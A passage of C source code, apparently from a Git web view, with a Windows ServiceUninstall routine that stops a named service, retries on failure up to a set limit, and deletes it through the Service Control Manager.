CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
Reference in New Issue
Block a user